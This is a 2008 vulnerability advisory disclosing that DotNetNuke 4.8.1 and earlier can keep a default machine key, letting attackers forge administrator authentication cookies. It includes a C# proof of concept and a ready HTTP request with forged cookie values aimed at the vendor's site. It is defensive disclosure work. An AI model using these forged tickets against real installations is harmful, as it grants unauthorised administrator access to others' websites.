============================================================0D
DotNetNuke Default Machine Key Exposure=0D
Public Release Date: March 20, 2008=0D
Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)=0D 
Affected Software:  DotNetNuke <= 4.8.1=0D
Severity: Critical=0D
=0D
============================================================0D
1. Summary=0D
============================================================0D
=0D
DotNetNuke (DNN) is an open-source Web Application Framework used to create and deploy websites. The default web.config files distributed with DNN include an embedded Machine Key value (both ValidationKey and DecryptionKey). Under certain circumstances these values may not be updated during the installation/upgrade process, resulting in the ability for an attacker to forge arbitrary ASP.NET forms authentication tickets that can then be used to circumvent all security within a DNN installation. This issue was confirmed to affect the production instance of DNN used on the DNN Homepage (www.dotnetnuke.com). =0D 
=0D
The vendor (DotNetNuke Corporation) was notified of this issue on March 3, 2008. The vendor responded by releasing version 4.8.2 on March 19, 2008 and has also issued a security bulletin (http://www.dotnetnuke.com/News/SecurityBulletins/SecurityBulletinno12/tabid/1148/Default.aspx).=0D 
=0D
=0D
============================================================0D
2. Technical Details=0D
============================================================0D
=0D
The default web.config files distributed with DotNetNuke (DNN) include the following embedded ValidationKey and DecryptionKey values:=0D
=0D
=0D
=0D
Normally, these values are overwritten by the web-based installation wizard during the initial website setup process. Specifically, the Config.UpdateMachineKey() routine is called during the initial installation process. Under certain scenarios where the web server user account does not have access to update the web.config file during installation, the default value will fail to be updated resulting in a DNN installation that uses these values for authentication token encryption and validation. It is unclear how widespread this issue could potentially be, however it was confirmed that the production instance of DNN used on the DNN Homepage (www.dotnetnuke.com) was affected by this issue. =0D 
 =0D
=0D
============================================================0D
3. Proof-of-Concept Exploit=0D
============================================================0D
=0D
This vulnerability is trivially exploited against any DNN installation using the default ValidationKey and DecryptionKey values.  In order to exploit this issue, two forged cookies (named =93.DOTNETNUKE=94 and =93portalroles=94) must be generated.  The =93.DOTNETNUKE=94 cookie is used by the ASP.NET Forms Authentication Provider to identify the authenticated user, while the =93portalroles=94 cookie is used by DNN to store role memberships for the current authenticated user.  =0D
=0D
The following c# code excerpt, when run from an ASP.NET web form configured to use the default ValidationKey and DecryptionKey values, can be used to generate the two required FormsAuthenticationTicket values required to exploit this issue:=0D
=0D
=0D
      // Step 1: Generate the two FormsAuthenticationTickets=0D
      FormsAuthenticationTicket  ticket1 = new FormsAuthenticationTicket("admin", true, 10000);=0D
      FormsAuthenticationTicket ticket2 = new FormsAuthenticationTicket(2, "admin", System.DateTime.Now, System.DateTime.MaxValue, true, "Registered Users;Subscribers;Administrators");=0D
=0D
=0D
      // Step 2: Encrypt the FormsAuthenticationTickets=0D
      string cookie1 = ".DOTNETNUKE=" + FormsAuthentication.Encrypt(ticket1);=0D
      string cookie2 = "portalroles=" + FormsAuthentication.Encrypt(ticket2);=0D
=0D
=0D
The two cookie strings produced by the above code, as shown in the request below, can be used to obtain administrator level access to DNN installations affected by this issue.=0D
=0D
NOTE: The exact cookie values shown below can be used for testing & exploits.=0D
=0D
GET /default.aspx HTTP/1.1=0D
Host: www.dotnetnuke.com=0D 
Cookie: portalroles=CB14B7E2553D9F6259ECF746F2D77FD15B05C5A=0D
10D98225339D6E282EFEFB3DA90D0747CEE5FAF2E7605B598311BA3349D=0D
25C108FBCEC7A0141BE6CDA83F2896342FBA33FFD8CB18D9A8896F30182=0D
B9EEB47786AB9574F6F3EBD9ECF56C389B401BCF744224A869F4C23D5E4=0D
280ACC8E16A2113C0770317F3A741630C77BB073871BE3E1E8A6F67AC5F=0D
0AC0582925D690B1D777C0302E18E;.DOTNETNUKE=6BBF011195DE71050=0D
782BD8E4A9B906F770FEDF87AE1FC32D31B27A14E2307BF986E438E06F4=0D
B28DD30706CB516290D5CE1513DD677E64A098F912E2F63E3BE3DDE6380=0D
9B616F614=0D
=0D
=0D
============================================================0D
4. Recommendation =0D
============================================================0D
=0D
DotNetNuke v4.8.2 has been released by DotNetNuke Corporation, which specifically addresses this issue.  Additionally, check your web.config file to ensure that the validationkey value is not set to "F9D1A2D3E1D3E2F7B3D9F90FF3965ABDAC304902".=0D
=0D
=0D
============================================================0D
5. About Gotham Digital Science =0D
============================================================0D
=0D
Gotham Digital Science (GDS) is an international security services company specializing in Application and Network Infrastructure security, and Information Security Risk Management. For more information on GDS, please contact info@gdssecurity.com or visit http://www.gdssecurity.com.=0D 
=0D